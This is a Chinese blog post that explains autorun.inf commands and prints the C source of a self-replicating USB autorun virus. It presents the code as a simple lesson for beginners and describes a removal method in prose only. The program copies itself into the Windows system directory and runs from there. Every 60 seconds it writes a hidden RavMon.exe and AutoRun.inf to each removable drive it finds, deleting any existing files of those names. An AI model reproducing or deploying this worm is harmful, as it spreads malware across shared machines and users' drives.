autorun病毒编写及查杀工具程序源码

      记得大一刚过来大学的时候,重视很害怕U盘中毒,所以总是不太赶去打印室,有一次竟然让自己的优盘中毒了,由于但是年少无知,还专门请一位06级的学姐替我杀毒。

      本程序主要涉及autorun病毒的原理,编写和查杀,由于很简单,只供初学同学看看。

Autorun文件中的部分命令

Open
  含义:指定设备启用时运行之命令行。
  格式:Open=命令行    (命令行:程序路径名 [参数])
  参数:
       命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开或使用ShellExecute命令。
  备注:命令行的起始目录是设备根目录和系统的$Path环境变量。

ShellExecute
  含义:指定设备启用时执行文件。(操作系统支持未知)
  格式:ShellExecute=执行文件路径名 [参数]
  参数:执行文件路径名:设备启用时执行文件路径名。可以是任意格式文件。系统会调用设置的程序执行此文件。
  参数:参数,根据执行文件作调整
  备注:命令行的起始目录是设备根目录和系统的$Path环境变量。

Shell关键字Command
  含义:定义设备右键菜单执行命令行。
  格式:Shell关键字Command=命令行(命令行:程序路径名 [参数])
  参数:  

    命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开。
  备注:命令行的起始目录是设备根目录和系统的$Path环境变量。

Shell关键字
  含义:定义设备右键菜单文本。
  格式:Shell关键字=文本
  参数:
  关键字:用以标记菜单,可以使用任何字符表示,包括空格。
  文本:在右键菜单中显示的文本。可以使用任何字符,不能存在空格。

        备注:

  • 在同一Autorun.inf文件中,不同右键菜单关键字不同,相同右键菜单关键字相同。
  • 右键菜单文本中可以使用&设定加速键,&&输出一个&。
  • Shell关键字Command命令Shell关键字两者缺一不可,顺序无所谓。
  • 当不存在Open、ShellExecute与Shell命令时,设备启用时运行第一个设备右键菜单指定命令。

Shell
  含义:定义设备启用时运行之设备右键命令。
  格式:Shell=关键字
  参数:
  关键字:标记过的菜单关键字
  备注:Shell指定的关键字可以在AutoRun.inf文件的任意部分。
             OpenShellExecuteShell命令后定义的优先级高。

Autorun病毒的编写

      具体流程见代码,此外,本病毒仅仅做了些很简单的事情,还可以些注册表等等操作。个人对打印室的电脑的建议,最好都对优盘写保护,autorun病毒就没有那么容易将病毒文件传到u盘中了。

病毒的查杀原理:

      就是先检测u盘的盘符,然后查看是否存在autorun.inf文件,如果有的话,就寻找文件中是否有”open=”这样的字符,如果有的话,就记录下了,并删除”open=”后面的文件。

      此外,本程序仅仅只是对文件中的”open=”后面的文件全路径进行记录并删除文件,实际上还可以查找文件中是否存在前面所提到的部分命令,如果存在,也将其后面的文件删除。

具体的见源码:

// Uinfect.cpp : Defines the entry point for the application.
#include “stdafx.h”
#include “resource.h”

void ResourceToFile(char  *filename,char *Name,char* Type)
{
    //寻找自身进程中的资源
    HRSRC hRes = FindResource(NULL,Name,Type);
    if(hRes==NULL)
        return;
    //导入资源
    HGLOBAL hgRes = LoadResource(NULL, hRes);
    if(hgRes==NULL)
        return;
    //锁定资源
    void *pRes = LockResource(hgRes);
    if(pRes==NULL)
        return;
    //得到资源字节数
    DWORD size = SizeofResource(NULL, hRes);
    if(size==0)
        return;
    //创建文件
    HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, 
                     CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0);
    if(hFile==INVALID_HANDLE_VALUE)
        return;
    DWORD dwWrite;
    //把资源写入到文件
    if(!WriteFile(hFile, pRes, size, &dwWrite, 0))
        return;
    //关闭文件句柄
    CloseHandle(hFile);
    //释放资源
    GlobalFree(hgRes);
}

BOOL InfectU()
{
    while(true)
    {
        UINT revtype;
        char name[256]=”H:\\” ;
        char szName[256]={0};
        char toPath[256]={0};
        char infPath[256]={0};
        char openU[80]={0};
        //遍历所有盘符
        for(BYTE i=0×42;i<0x5B;i=i+0×01)
        {
            name[0]=i;
            //得到盘符类型
            revtype=GetDriveType(name);
            //判断是否是可移动存储设备
            if (revtype==DRIVE_REMOVABLE)
            {   
                //得到自身文件路径
                GetModuleFileName(NULL,szName,256);
                //比较是否和U盘的盘符相同
                if(strncmp(name,szName,1)==0)
                {
                    //得到系统目录
                    GetSystemDirectory(toPath,256);
                    strcat(toPath,”\\Uinfect.exe”);
                    //把自身文件复制到系统目录
                    if(CopyFile(szName,toPath,TRUE))
                    {
                        //运行程序
                        WinExec(toPath,0);    
                    }
                    strcpy(openU,”explorer “);
                    strcat(openU,name);
                    //打开U盘
                    WinExec(openU,1);
                    return 0;    
                }
                else
                {
                    strcpy(toPath,name);
                    strcat(toPath,”\\RavMon.exe”);
                    strcpy(infPath,name);
                    strcat(infPath,”\\AutoRun.inf”);
                    //还原U盘上的文件属性
                    SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL);
                    SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
                    //删除原有文件
                    DeleteFile(toPath);
                    DeleteFile(infPath);
                    //释放AutoRun.inf到U盘
                    ResourceToFile(infPath,MAKEINTRESOURCE(ID_DAT),
                               MAKEINTRESOURCE(RC_AUTORUN));
                    //拷贝自身文件到U盘
                    CopyFile(szName,toPath,FALSE);
                    //把这两个文件设置成系统,隐藏属性
                    SetFileAttributes(toPath,
                        FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
                    SetFileAttributes(infPath,
                        FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
                }
            }
        }
        //休眠60秒,60检测一次
        Sleep(60000);
    }
}
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    InfectU();
    return 0;
}

作者:华中科技大学腾讯创新俱乐部 易卓 2010-05-02

穆童博客声明:请勿在中国法律所不允许的情况下使用本文任何内容

如若复制、转载请注明原文地址:http://mtoou.info/autorun-bingdu-yuanma/

发表评论

邮箱地址不会被公开。 必填项已用*标注